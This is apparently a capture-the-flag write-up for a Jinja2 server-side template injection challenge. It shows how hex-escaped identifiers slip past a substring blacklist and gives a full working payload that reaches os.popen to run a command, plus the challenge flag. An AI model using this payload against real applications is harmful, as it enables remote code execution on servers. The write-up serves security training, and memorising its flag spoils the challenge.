Challenge

A Jinja2 server-side template injection. The filter blocks the obvious words, builtins among them, so the usual __builtins__ gadget gets rejected on sight.

Approach

The blacklist matches literal substrings, and Jinja string literals honor hex escapes, so \x5f is _ and \x62 is b. Writing the dangerous identifiers with escapes means the banned words never appear in the source the filter sees, while Jinja reconstructs them before use. From request.application you can walk __globals__ to __builtins__ to __import__, pull in os, and run a command.

Solution

{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5f\x62uiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5f\x69mport\x5f\x5f')('\x6fs')|attr('p\x6fpen')('/readflag')|attr('read')() }}

Running /readflag through the injected os.popen returns the flag.

Flag

MetaCTF{t3mpl4t3_1nj3ct10n_ma5tery}